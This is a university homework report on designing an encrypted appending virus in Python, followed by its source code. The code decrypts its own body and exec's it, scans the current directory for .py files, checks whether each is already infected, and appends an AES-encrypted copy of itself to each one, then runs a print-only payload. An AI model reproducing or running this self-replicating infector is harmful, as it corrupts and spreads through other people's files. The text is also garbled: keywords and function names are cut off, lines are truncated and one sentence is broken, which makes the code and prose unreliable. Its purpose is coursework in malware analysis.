Malware analysis and design
Homework No. 3

Vincenzo Arceri VR386484
Giovanni Liboni VR387955
Alberto Marini

May 20, 2016

1 Introduction

The purpose is to design a virus similar to the *vbash* one, except that it will be encrypted. Its structure is divided in two parts:

- The first part of the code will be unencrypted and will simply consist of the decryption function. The key will be made of the first bytes of the infected virus.
- The second part (the most important one) will consist of the main body of the virus.

The virus will be an appending one. It will spread as follows:

- It looks for infected is executed.
- During the infection, it creates a specific key for each file (once again, a few bytes are taken from the target file), then encrypts its own main body and adds both the decrypting routine and the (encrypted) main viral body to the target file.
- A potential payload may be triggered (with or without a delayed action mechanism).

2 Virus design

```
# Open the virus itself
this = open(__main__.__file__, 'r')
# Set copy variable to False
copy = False
# Initialize an empty payload
cipher_payload = ''
```

```
# Search for the encrypted main body of the virus and copy it into cipher_payload
for line in this:
   if line.strip() == '# Start payload':
      copy = True
   elif line.strip() == '# End payload':
      copy = False
   elif copy:
      cipher_payload = cipher_payload + line
# Decrypt the main body of the virus and execute it.
e = decrypt(cipher_payload[1:])
exec e

# Start payload
#8eoDXnZwwdY/TUaf5IQOo5+tbvE2zllu4t0m...
# End payload
```

3 Implementation

```
1  f is_infected(filename):
2   f = open(filename, 'r')
3   lines = f.readlines()
4   if len(lines) < 46:
5      return False
6   #print len(lines)
7   #print lines[len(lines) - 46]
8   return lines[len(lines) - 46].startswith('########################################
9
10 f infect(filename):
11  os.rename(filename, filename + '-copy')
12
13  destination = open(filename, 'w')
14  source = open(filename + '-copy', 'r')
15  this = open(__main__.__file__, 'r')
16
17  # Append the original file
18  for line in source:
19     destination.write(line)
20
21  destination.write("\n############################################################ First
22  destination.write("# coding=utf-8\n")
23  destination.write("# Start Uncrypted\n")
24
25  copy = False
26  result = ''
27  for line in this:
28     if line.strip() == '# Start Uncrypted':
29        copy = True
30     elif line.strip() == '# End Uncrypted':
31        destination.write('# End Uncrypted')
```

```
32          copy = False
33      elif copy:
34          destination.write(line);
35
36  destination.write("\n# Start payload\n")
37  destination.write("#")
38  destination.write(str(encrypt(e, filename)))
39  destination.write("\n# End payload")
40
41  os.remove(filename + '-copy')
42  source.close()
43  destination.close()
44  this.close()
45
46 f find_and_infect_files():
47  # In the current directory
48  path = '.'
49  dirs = os.listdir(path)
50
51  # For each file try to infect it
52  for filename in dirs:
53      if filename.endswith('.py') and (not is_infected(filename)) and (filename != "v
54          print "Infected " +  str(filename)
55          infect(filename)
56
57 f encrypt(data,filename):
58  source = open(filename + '-copy', 'r')
59
60  iv = Random.new().read(AES.block_size)
61  cipher = AES.new(StringIO.StringIO(source).read(24), AES.MODE_CFB, iv)
62  encrypted = iv + cipher.encrypt(data)
63
64  source.close()
65  return base64.b64encode(encrypted)
66 ####################
67
68 f payload():
69  print "This file is infected infected! Mhuahauhauahau!"
70
71 nd_and_infect_files()
72 yload()
```